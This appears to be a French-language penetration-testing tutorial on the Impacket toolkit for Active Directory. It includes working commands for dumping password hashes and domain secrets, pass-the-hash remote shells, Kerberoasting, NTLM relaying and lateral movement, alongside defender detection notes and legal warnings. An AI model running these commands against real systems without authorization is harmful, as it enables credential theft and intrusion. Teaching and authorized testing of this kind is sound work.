Comment Utiliser Impacket : Les 8 Scripts Indispensables

Penetration Testing
19 min de lecture
Comment Utiliser Impacket : Les 8 Scripts Indispensables
Sur cette page
  1. Qu'est-ce qu'Impacket ?
  2. Installer Impacket sans casser votre Python
  3. La chaîne de cible commune à tous les scripts Impacket
    1. Mots de passe, hashs et tickets
  4. Les 8 scripts Impacket dont vous avez vraiment besoin
    1. secretsdump.py : celui que tout le monde a en tête
    2. wmiexec.py, psexec.py et le reste de la famille exécution
    3. smbclient.py et smbserver.py : le duo ennuyeux qui vous sauve
    4. GetUserSPNs.py et GetNPUsers.py : des hashs à partir de rien
    5. ntlmrelayx.py : s'authentifier sans rien casser
  5. Un enchaînement réaliste sur un hôte Windows
  6. Cinq erreurs que vous rencontrerez dès la première heure
  7. Ce qu'Impacket donne à voir aux défenseurs
  8. Considérations légales et éthiques
    1. Où c'est légitime
  9. Questions fréquentes
  10. Vos prochaines étapes

Vous tenez enfin un identifiant et un mot de passe Windows valides sur votre première machine Active Directory, le walkthrough dit « il suffit de lancer secretsdump », et votre terminal répond command not found. Dix minutes plus tard le script démarre mais refuse un mot de passe dont vous êtes sûr, parce qu'il contient un @ et qu'Impacket a lu tout ce qui suivait comme un nom d'hôte. Apprendre à utiliser Impacket, c'est surtout apprendre ces deux choses : où se trouvent les scripts après l'installation, et comment est interprétée la chaîne de cible commune à tous. Les attaques, elles, sont la partie facile. Si vous voulez d'abord la théorie, le chapitre sur l'énumération Active Directory explique ce que chacun de ces scripts demande réellement au contrôleur de domaine.

Impacket est la boîte à outils derrière la moitié des commandes de tous les walkthroughs Windows que vous avez lus, et il revient dans le vrai travail de test d'intrusion pour la même raison : il parle les protocoles Windows depuis Linux sans qu'une machine Windows intervienne dans la chaîne. Tout ce qui suit a été vérifié sur Impacket 0.13.1, la version stable actuelle publiée le 19 mai 2026, et sur la branche master 0.14.0-dev.

TL;DR : Impacket est une bibliothèque Python dédiée aux protocoles réseau Windows, livrée avec environ 70 scripts d'exemple prêts à l'emploi. Installez-la avec python3 -m pipx install impacket, et retenez que Kali renomme les scripts en impacket-secretsdump, impacket-wmiexec, et ainsi de suite. Chaque script accepte la même chaîne de cible, domaine/utilisateur:motdepasse@hôte : apprenez-la une fois et 70 outils s'ouvrent à vous. Commencez par quatre : secretsdump.py, wmiexec.py, smbclient.py et GetUserSPNs.py.

Qu'est-ce qu'Impacket ?

Impacket est une collection open source de classes Python permettant de travailler avec les protocoles réseau, accompagnée de scripts d'exemple qui utilisent ces classes pour dialoguer avec des systèmes Windows. MITRE ATT&CK le référence sous le nom de software S0357 et le décrit comme contenant des outils d'exécution de services à distance, de manipulation Kerberos, d'extraction d'identifiants Windows, de capture de paquets et d'attaques par relais.

Ce que l'on oublie souvent, c'est l'ordre de ces deux moitiés. Impacket est d'abord une bibliothèque. Les scripts du dossier examples/ ont été écrits pour démontrer cette bibliothèque, d'où leur aspect moins fini qu'un produit commercial : majuscules incohérentes, pas de page d'aide unifiée, des noms comme GetNPUsers.py voisinant avec psexec.py. Acceptez ces aspérités et vous obtenez quelque chose qu'aucun outil commercial n'égale : une implémentation fonctionnelle de SMB, MSRPC, LDAP, Kerberos, MSSQL et DCOM que vous pouvez lire, scripter et modifier.

Le projet a été créé à l'origine par SecureAuth et il est aujourd'hui maintenu par l'équipe Core Security de Fortra. La couverture protocolaire annoncée dans le README va d'Ethernet brut et d'IPv6 jusqu'à SMB1, SMB2 et SMB3, MSRPC sur quatre transports, et une partie de TDS et de LDAP. C'est pour cela que ces scripts font des choses qu'un outil natif Windows exigerait une machine jointe au domaine pour tenter.

Une image qui aide les débutants : Nmap vous dit qu'un hôte Windows existe, Impacket vous permet d'avoir une conversation avec lui. Rien dans cette boîte à outils ne trouve de vulnérabilités à votre place. Elle s'authentifie, elle pose des questions, elle exécute, et tout cela suppose que vous avez déjà de quoi vous authentifier.

Installer Impacket sans casser votre Python

La recommandation officielle a changé il y a quelques années et la plupart des tutoriels ne l'ont jamais rattrapée. Le README indique désormais d'utiliser pipx plutôt que pip pour une installation système, parce que pipx donne au projet son propre environnement virtuel au lieu de déverser trente dépendances dans le Python du système :

python3 -m pipx install impacket

Si cette commande renvoie error: externally-managed-environment, c'est que vous avez lancé pip et non pipx sur une version récente de Debian, Ubuntu ou Kali. Cette erreur est la protection de Python sur les paquets dont dépend votre système d'exploitation, et la solution est pipx, pas --break-system-packages.

Sur Kali, Impacket est déjà présent. Le paquet Kali s'appelle python3-impacket, en version 0.13.0 actuellement, et il installe les scripts sous des noms différents de ceux qu'utilisent tous les tutoriels :

sudo apt update && sudo apt install python3-impacket
impacket-secretsdump -h

Kali supprime l'extension .py et ajoute un préfixe impacket- : secretsdump.py devient impacket-secretsdump, wmiexec.py devient impacket-wmiexec et samrdump.py devient impacket-samrdump. Quand une commande tirée d'un walkthrough échoue avec command not found, essayez le nom préfixé avant de conclure que quelque chose est cassé. Tapez impacket- puis deux fois sur la touche tabulation pour lister tous les scripts dont vous disposez.

Un Dockerfile officiel est aussi fourni dans le dépôt si vous préférez garder la boîte à outils hors de votre machine :

docker build -t "impacket:latest" .
docker run -it --rm "impacket:latest"

Un mot sur les versions. La branche master porte l'étiquette 0.14.0-dev, prend en charge Python 3.9 à 3.13, et embarque régulièrement des scripts et des correctifs absents de la version stable. Installez d'abord la stable. Ne passez sur master que lorsqu'une technique précise l'exige, en sachant que vous exécutez alors du code qui n'est pas passé par un cycle de publication.

💻
Pratiquez maintenant : Internal - travaillez un réseau interne à partir du point d'appui que ces commandes supposent acquis, dans un lab en navigateur, sans VPN ni machine virtuelle à construire.

La chaîne de cible commune à tous les scripts Impacket

Voici la section qui vous épargnera une soirée entière. Presque tous les scripts acceptent leur cible dans un seul format, écrit à l'identique dans l'aide de chacun :

[[domain/]username[:password]@]<targetName or address>

Les crochets signifient « facultatif », ce qui explique pourquoi le même argument prend des allures si différentes d'un tutoriel à l'autre. Ces quatre formes sont toutes valides :

  • ACME.example/dana:[email protected] pour une connexion de domaine complète
  • [email protected] pour s'authentifier comme compte local et se faire demander le mot de passe
  • ACME.example/[email protected] quand vous préférez passer par un hash ou un ticket
  • 192.0.2.20 seul, pour la poignée de scripts qui acceptent une session anonyme

Trois règles évitent que cela gâche votre soirée. Encadrez systématiquement l'argument entier de guillemets simples, car un mot de passe contenant ! déclenche l'expansion d'historique dans bash et un mot de passe contenant @ coupe la chaîne au mauvais endroit. Omettez complètement le mot de passe et laissez le script vous le demander, ce qui règle les deux problèmes et garde le mot de passe hors de l'historique du shell. Et retenez que la valeur avant la barre oblique est le domaine, pas le nom d'hôte : c'est la confusion numéro un chez les débutants.

Mots de passe, hashs et tickets

Impacket propose trois façons de s'authentifier, avec des options identiques d'un script à l'autre :

OptionCe qu'elle fait
-hashes LMHASH:NTHASHS'authentifie avec un hash NTLM au lieu d'un mot de passe. C'est le pass the hash, et c'est pourquoi un hash récupéré vaut un hash cassé pour le déplacement latéral.
-no-passSaute la demande de mot de passe. À associer à -hashes ou -k.
-kUtilise Kerberos en lisant le ticket dans le fichier ccache désigné par la variable d'environnement KRB5CCNAME.
-dc-ipAdresse IP du contrôleur de domaine, quand votre machine d'attaque ne sait pas résoudre le nom du domaine.
-target-ipIP de la machine cible lorsque vous devez l'adresser par son nom NetBIOS mais que le DNS ne coopère pas.

Les comptes Windows modernes n'ont pas de hash LM : la moitié gauche est donc la constante LM vide aad3b435b51404eeaad3b435b51404ee. Collez la paire exactement comme secretsdump.py l'a affichée et ce sera juste. En pratique, -dc-ip est l'option que vous oublierez le plus souvent : les opérations Kerberos et LDAP doivent joindre un contrôleur de domaine par son nom, et votre machine Linux n'a aucune idée de ce que ACME.example résout tant que vous ne le lui dites pas.

Les 8 scripts Impacket dont vous avez vraiment besoin

Le dossier examples de la branche master contient environ 70 scripts. Vous en utiliserez huit sur presque chaque mission et chaque machine de CTF, les autres étant des spécialistes que l'on va chercher quand la situation l'exige.

ScriptCe qu'il vous apporte
secretsdump.pyLes hashs de mots de passe d'un SAM local, des secrets LSA ou de toute la base du domaine
wmiexec.pyUn shell semi-interactif via WMI, sans création de service
psexec.pyUn vrai shell interactif SYSTEM, au prix d'un service et d'un binaire déposé
smbclient.pyUne invite interactive pour parcourir les partages et en récupérer des fichiers
smbserver.pyUn partage SMB sur votre propre machine, la façon la plus simple de faire transiter des fichiers
GetUserSPNs.pyKerberoasting : des hashs cassables pour les comptes de service, depuis n'importe quel compte du domaine
GetNPUsers.pyAS-REP roasting : des hashs cassables pour les comptes sans préauthentification
ntlmrelayx.pyRelaie une authentification NTLM capturée vers un autre hôte qui l'accepte

secretsdump.py : celui que tout le monde a en tête

Sa propre description annonce qu'il « applique diverses techniques pour extraire des secrets de la machine distante sans y exécuter le moindre agent », et c'est la fin de la phrase qui compte. Avec des droits d'administrateur local, il se connecte en SMB, lit les ruches de la base de registre et renvoie des hashs :

secretsdump.py 'ACME.example/dana:[email protected]'

Vous obtenez trois blocs : les hashs SAM des comptes locaux, les secrets LSA avec les connexions de domaine en cache et tout mot de passe de compte de service stocké en clair, et sur un contrôleur de domaine la base NTDS complète. Face à un DC, ciblez plutôt que de déverser tout l'annuaire dans votre terminal :

secretsdump.py -just-dc-user krbtgt 'ACME.example/[email protected]'
secretsdump.py -just-dc-ntlm -outputfile acme_hashes 'ACME.example/[email protected]'

Il analyse également des ruches déjà récupérées, ce qui est la variante utile quand vous avez accès aux fichiers mais aucun compte fonctionnel :

secretsdump.py -sam SAM -system SYSTEM LOCAL

Ce LOCAL final n'est pas une valeur à remplacer. Il indique au script de travailler hors ligne au lieu de se connecter où que ce soit.

wmiexec.py, psexec.py et le reste de la famille exécution

Cinq scripts vous donnent l'exécution de commandes et ne diffèrent que par le mécanisme Windows détourné. psexec.py téléverse un binaire et crée un service Windows, ce qui donne un shell SYSTEM vraiment interactif et laisse la trace la plus évidente. wmiexec.py lance chaque commande via WMI dans un processus séparé, d'où le qualificatif de semi-interactif : vous ne pouvez pas faire cd et espérer que la commande suivante s'en souvienne. smbexec.py crée lui aussi un service, atexec.py enregistre une tâche planifiée et dcomexec.py passe par DCOM.

wmiexec.py 'ACME.example/dana:[email protected]'
wmiexec.py -shell-type powershell 'ACME.example/[email protected]' -hashes ':13b29964cc2480b4ef454c59562e675c'

Mon conseil : prenez wmiexec.py en premier et gardez psexec.py pour les cas où il vous faut une vraie session interactive ou SYSTEM précisément. Les cinq exigent des droits d'administrateur local sur la cible. Si l'un échoue sur une erreur d'accès et qu'un autre passe avec les mêmes identifiants, c'est une différence de services actifs et de durcissement de l'hôte, pas un bug.

smbclient.py et smbserver.py : le duo ennuyeux qui vous sauve

smbclient.py ouvre une invite interactive où shares, use C$, ls et get font ce que vous attendez. Aucun droit d'administration n'est requis au-delà d'un accès en lecture, et un partage lisible est précisément l'endroit où un test interne se transforme en constat : scripts de déploiement avec identifiants en dur, dossier informatique plein de tableurs, sauvegarde que personne n'a auditée depuis la mise en service du serveur.

smbserver.py est celui que les débutants ignorent et que les testeurs expérimentés utilisent en permanence. Il transforme un dossier de votre machine Linux en partage SMB, si bien que l'hôte Windows peut vous copier des fichiers avec une commande native, sans second outil :

smbserver.py -smb2support share /tmp/loot

Côté Windows, cela donne copy file.zip \\192.0.2.5\share\. Mettez -smb2support à chaque fois, car Windows refuse SMB1 par défaut et la panne ressemble alors à un problème réseau plutôt qu'à une incompatibilité de protocole.

GetUserSPNs.py et GetNPUsers.py : des hashs à partir de rien

Ces deux scripts expliquent pourquoi un simple compte de domaine peu privilégié vaut si cher. Le Kerberoasting demande un ticket de service pour tout compte disposant d'un Service Principal Name, puis le casse hors ligne, car une partie de ce ticket est chiffrée avec le hash du mot de passe du compte de service.

GetUserSPNs.py -request -dc-ip 192.0.2.10 -outputfile spns.txt 'ACME.example/dana'

La sortie contient des hashs Kerberos 5 TGS-REP dans un format que les deux outils de cassage comprennent : mode hashcat 13100 pour la variante RC4, 19600 et 19700 pour les variantes AES. Les mots de passe des comptes de service sont définis une fois à l'installation et rarement renouvelés, et c'est exactement pour cela que l'attaque fonctionne encore.

L'AS-REP roasting en est le cousin plus discret. Les comptes configurés avec « ne pas exiger la préauthentification Kerberos » livrent un bloc cassable à qui le demande, sans aucun mot de passe :

GetNPUsers.py -usersfile users.txt -dc-ip 192.0.2.10 -no-pass 'ACME.example/'

Ces hashs correspondent au mode hashcat 18200. Les deux attaques produisent une matière inutile tant qu'elle n'est pas cassée, donc la suite du travail se trouve dans notre guide Hashcat, et le chapitre Kerberoasting détaille ce que fait vraiment le contrôleur de domaine quand il répond.

💻
Pratiquez maintenant : Windows Password Cracker - faites passer des hashs NTLM du type de ceux que renvoie secretsdump.py dans un vrai processus de cassage et voyez ce que vaut un dump.

ntlmrelayx.py : s'authentifier sans rien casser

ntlmrelayx.py prend une tentative d'authentification NTLM qui vous est adressée et la transmet à un troisième hôte qui l'acceptera. Pas de mot de passe, pas de hash, pas de cassage. On l'associe en général à un outil qui provoque cette authentification, et c'est la raison concrète pour laquelle la signature SMB existe comme réglage.

ntlmrelayx.py -tf targets.txt -smb2support --no-http-server

Traitez celui-ci comme la pointe acérée de la boîte à outils. Il touche des machines autres que celle que vous avez désignée, ce qui rend la discipline de périmètre non négociable : une liste de cibles de relais avec une seule ligne de trop atteint un hôte que personne ne vous a autorisé à toucher. Comprenez ce que fait le protocole avant de le lancer sur du réel, pas après.

Un enchaînement réaliste sur un hôte Windows

Les commandes isolées sont faciles à collectionner et difficiles à ordonner. Voici l'ordre dans lequel ces scripts sortent réellement, en partant d'un jeu d'identifiants de domaine valides :

  1. Vérifiez que les identifiants fonctionnent. smbclient.py sur la cible vous dit immédiatement si l'authentification passe et ce que vous pouvez lire.
  2. Énumérez le domaine. samrdump.py et lookupsid.py renvoient utilisateurs, groupes et RID, ce qui vous donne la liste de comptes dont les scripts de roasting ont besoin.
  3. Récoltez les hashs gratuits. GetUserSPNs.py -request et GetNPUsers.py ne coûtent rien et terminent parfois la machine à eux seuls.
  4. Cassez hors ligne pendant que vous continuez. Lancez Hashcat dans un autre terminal. Ne restez pas à le regarder.
  5. Testez les nouveaux identifiants pour l'administration locale. wmiexec.py qui rend une invite est votre réponse.
  6. Extrayez puis rebondissez. secretsdump.py sur cet hôte, puis réutilisez le hash de l'administrateur local sur ses voisins avec -hashes.

C'est à l'étape six que la réutilisation des mots de passe décide de la mission. Un mot de passe d'administrateur local partagé par tout un parc de postes transforme un seul hash récupéré en accès généralisé, et ce schéma se répète dans des organisations de toutes tailles. Notre guide sur NetExec, le successeur de CrackMapExec, couvre le balayage qui vous dit jusqu'où porte un hash donné. Les deux outils se complètent naturellement : NetExec répond « où est-ce que ça marche », Impacket répond « qu'est-ce que je peux y faire ».

Cinq erreurs que vous rencontrerez dès la première heure

Aucune ne signifie que vous avez raté l'attaque. Ce sont les aspérités de la boîte à outils, et les reconnaître au premier coup d'œil constitue l'essentiel de la courbe d'apprentissage.

  • command not found. Sur Kali le script s'appelle impacket-secretsdump, pas secretsdump.py. Après une installation par pipx, ouvrez un nouveau shell pour que le PATH mis à jour soit pris en compte.
  • STATUS_LOGON_FAILURE avec un mot de passe dont vous êtes sûr. Votre shell a mangé un caractère. Encadrez toute la chaîne de cible de guillemets simples, ou omettez le mot de passe et laissez le script vous le demander.
  • rpc_s_access_denied ou STATUS_ACCESS_DENIED après une connexion réussie. L'authentification a marché, pas l'autorisation. Le compte est valide mais n'est pas administrateur local sur cet hôte, ce qui est un constat sur le compte et non une erreur.
  • KRB_AP_ERR_SKEW(Clock skew too great). Kerberos rejette les tickets dès que les horloges divergent de plus de cinq minutes. Synchronisez votre machine sur le contrôleur de domaine avec sudo ntpdate 192.0.2.10 puis relancez.
  • Tout se fige, puis expire. Votre machine ne sait pas résoudre le nom du domaine. Ajoutez -dc-ip, ou inscrivez le contrôleur de domaine dans /etc/hosts avec son nom court et son FQDN.

Une habitude à prendre tôt : ajoutez -ts à chaque commande. Elle préfixe chaque ligne de sortie d'un horodatage, ce qui transforme un défilement de terminal en quelque chose que vous pourrez aligner sur les journaux du client quand il vous demandera ce que vous faisiez à 14h32.

Ce qu'Impacket donne à voir aux défenseurs

Quiconque lance cette boîte à outils sur une mission doit savoir à quel point elle est visible, et quiconque défend un réseau Windows doit savoir ce que ces scripts laissent derrière eux. Les deux camps peuvent lire la même fiche MITRE ATT&CK, qui associe Impacket à l'extraction d'identifiants (T1003), au vol de tickets Kerberos (T1558), à l'exécution via WMI (T1047), aux services système (T1569) et au relais de type adversary-in-the-middle (T1557).

  • Création de service. psexec.py et smbexec.py créent un service Windows pour exécuter leur charge. L'événement 7045 sur un poste de travail n'a presque aucune explication légitime.
  • Tâches planifiées éphémères. atexec.py enregistre une tâche, l'exécute, puis la supprime. Une tâche qui apparaît et disparaît en quelques secondes est un indicateur fort.
  • Demandes de tickets de service en masse. Un compte ordinaire qui demande des tickets pour tous les SPN du domaine fait du Kerberoasting, et l'événement 4769 le capte dès que quelqu'un regarde.
  • Réplication d'annuaire depuis le mauvais endroit. Un dump de type DCSync avec -just-dc fait qu'un poste de travail demande à un contrôleur de domaine de répliquer l'annuaire. Rien d'autre qu'un autre DC ne devrait faire cela.

Les produits de sécurité des postes détectent ces scripts par leur nom. Sur une mission réelle, attendez-vous à des alertes. C'est le résultat correct dans un environnement protégé, et un test qui traverse un réseau mature sans rien déclencher signale d'ordinaire une pile de détection mal configurée, ce qui mérite en soi d'être écrit dans le rapport.

Considérations légales et éthiques

Rappel essentiel : obtenez toujours une autorisation écrite explicite avant de tester un système. Impacket s'authentifie sur des machines et y exécute du code. Le faire sans permission constitue un accès non autorisé au regard du droit pénal informatique dans la plupart des juridictions, que la connexion réussisse ou non.

Le README du projet est direct sur ce point : le code est publié à des fins de recherche et d'éducation. Le lancer contre une infrastructure qui ne vous appartient pas et que vous n'avez pas été mandaté pour tester n'est pas de la recherche, et les tentatives échouées sont de toute façon journalisées avec votre adresse source.

Où c'est légitime

  • Un domaine de laboratoire monté chez vous à partir de versions d'évaluation de Windows Server, sur du matériel qui vous appartient
  • Les missions couvertes par un document de périmètre signé nommant les plages cibles et les comptes utilisables
  • Les réseaux que vous administrez, avec l'accord documenté de votre employeur
  • Les environnements d'entraînement dédiés et les plateformes de CTF

Les attaques par relais méritent leur propre ligne ici. ntlmrelayx.py agit sur des hôtes autres que celui de votre commande, si bien qu'un fichier de cibles copié depuis un article peut atteindre une machine qui n'a jamais été dans le périmètre. Relisez votre liste de cibles à voix haute avant d'appuyer sur entrée.

Questions fréquentes

À quoi sert Impacket ?

Impacket sert à dialoguer avec les protocoles réseau Windows depuis Linux : extraire des hashs de mots de passe, exécuter des commandes à distance, parcourir des partages SMB, demander des tickets Kerberos et relayer des authentifications NTLM. Les testeurs d'intrusion l'utilisent pour les audits Active Directory, et les défenseurs l'étudient parce que les attaquants emploient les mêmes scripts.

Comment installer Impacket sur Kali Linux ?

Lancez sudo apt update && sudo apt install python3-impacket. Kali fournit la version 0.13.0 et installe les scripts avec un préfixe impacket- et sans extension .py : vous lancez donc impacket-secretsdump plutôt que secretsdump.py. Sur les autres systèmes, utilisez python3 -m pipx install impacket.

Pourquoi ma commande Impacket répond-elle command not found ?

Deux causes couvrent presque tous les cas. Sur Kali les scripts s'appellent impacket-secretsdump et consorts, pas secretsdump.py. Après une installation par pipx, la modification du PATH ne vaut que pour les nouveaux shells : lancez pipx ensurepath et ouvrez un nouveau terminal.

Faut-il être administrateur du domaine pour utiliser secretsdump ?

Non. Des droits d'administrateur local sur une seule machine suffisent pour en extraire les hashs SAM et les secrets LSA. C'est l'extraction de la base NTDS complète du domaine qui exige des droits d'administrateur du domaine ou des droits de réplication équivalents sur un contrôleur de domaine.

Quelle différence entre Impacket et NetExec ?

NetExec balaie rapidement de nombreux hôtes pour répondre à « où ces identifiants fonctionnent-ils », et il s'appuie sur Impacket pour plusieurs de ses opérations. Les scripts d'Impacket creusent une cible unique : un shell, un dump de hashs, un ticket Kerberos. La plupart des testeurs lancent les deux, NetExec d'abord, Impacket ensuite.

Impacket est-il légal ?

La boîte à outils elle-même est open source sous une licence Apache modifiée, et son téléchargement comme son étude sont légaux. Ce qui compte juridiquement, c'est la cible que vous visez. L'utiliser contre des systèmes qui ne vous appartiennent pas et que vous n'êtes pas autorisé par écrit à tester constitue un accès non autorisé dans la plupart des juridictions.

Vos prochaines étapes

Apprendre à utiliser Impacket tient à trois habitudes : l'installer avec pipx pour garder votre Python système propre, encadrer la chaîne de cible de guillemets pour que le shell cesse de massacrer vos mots de passe, et commencer par quatre scripts plutôt que 70. Faites entrer secretsdump.py, wmiexec.py, smbclient.py et GetUserSPNs.py dans vos doigts, et les 66 autres deviennent des variations sur une syntaxe que vous connaissez déjà. Le dépôt du projet et la sortie de -h de chaque script servent de référence pour tout le reste.

Lire des commandes n'est pas la même chose que les lancer sur quelque chose qui répond. Prenez pied sur un réseau qui se comporte comme un vrai dans le lab Internal, puis construisez la méthodologie autour avec le cours Attaques Active Directory de HackerDNA. Les deux tournent dans le navigateur avec l'offre gratuite, sans carte bancaire et sans machine virtuelle à monter.

HackerDNA Team

Équipe HackerDNA

Écrit par l'équipe HackerDNA - des professionnels de la cybersécurité qui créent des labs de hacking pratiques et du contenu éducatif pour vous aider à développer des compétences réelles en sécurité.

Rencontrer l'équipe

Prêt à mettre cela en pratique?

Arrêtez de lire, commencez à hacker. Obtenez une expérience pratique avec plus de 170 labs de cybersécurité réels.

Commencer à Hacker Gratuitement
27 000+ Hackers 100+ Labs & Cours Gratuit
Commencer Gratuitement